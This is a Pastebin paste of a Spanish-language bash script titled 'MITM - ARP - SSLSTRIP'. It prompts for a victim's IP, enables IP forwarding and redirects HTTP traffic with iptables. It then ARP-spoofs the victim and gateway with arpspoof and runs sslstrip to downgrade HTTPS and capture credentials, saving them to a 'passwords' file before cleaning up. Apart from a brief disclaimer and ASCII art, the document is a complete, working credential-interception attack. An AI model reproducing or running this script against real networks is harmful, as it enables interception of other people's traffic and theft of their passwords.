Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # Disclaimer: This script is intended for use only for private study or during an authorised pentest. The author bears no responsibility for malicious or illegal use.
- iface=$(ip route show | awk '(NR == 1) { print $5}')
- gateway=$(ip route show | awk '(NR == 1) { print $3}')
- echo "####################################"
- echo "# MITM - ARP - SSLSTRIP #"
- echo "# by Bloodmount32 #"
- echo "# @Bloodmount32 #"
- echo "# ---------------------------- #"
- echo "# Capturando trafico cifrado #"
- echo "# con SSLStrip en red LAN #"
- echo "####################################"
- echo
- echo -n "\033[33mIngrese la IP de la victima: \033[0m"
- read IP_Victim
- echo "-------------------------------------"
- echo $iface
- echo $gateway
- echo $IP_Victim
- echo passwords_$IP_Victim.txt
- echo "-------------------------------------"
- sleep 3
- echo 1 > /proc/sys/net/ipv4/ip_forward
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 --j REDIRECT --to-port 10000
- xterm -bg black -fg yellow -geometry 75x15+1+0 -T ARPSPOOF -e arpspoof -i $iface -t $IP_Victim $gateway & uno=$!
- xterm -bg black -fg red -geometry 75x15+1+0 -T ARPSPOOF -e arpspoof -i $iface -t $gateway $IP_Victim & dos=$!
- xterm -bg black -fg yellow -geometry 75x15+1+0 -T SSLSTRIP -e sslstrip -p -f -l 10000 & tres=$!
- echo "
- ######## #
- ################# #
- ###################### #
- ######################### #
- ############################
- ##############################
- ###############################
- ###############################
- ##############################
- # ######## #
- \033[31m## ###\033[0m #### ##
- ### ###
- #### ###
- #### ########## ####
- ####################### ####
- #################### ####
- ################## ####
- ############ ##
- ######## ###
- ######### #####
- ############ ######
- ######## #########
- ##### ########
- ### #########
- ###### ############
- #######################
- # # ### # # ##
- ########################
- ## ## ## ##
- "
- echo "Para terminar el proceso de captura \033[31m presione la tecla ENTER\033[0m."
- read junk
- cp sslstrip.log passwords$IP_Victim.txt
- rm sslstrip.log
- sleep 3
- kill ${uno} &> /dev/null
- kill ${dos} &> /dev/null
- kill ${tres} &> /dev/null
- echo "Restaurando configuracion"
- echo 0 > /proc/sys/net/ipv4/ip_forward
- iptables --flush
- iptables --table nat --flush
- iptables --delete-chain
- iptables --table nat --delete-chain
- clear
- exit
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement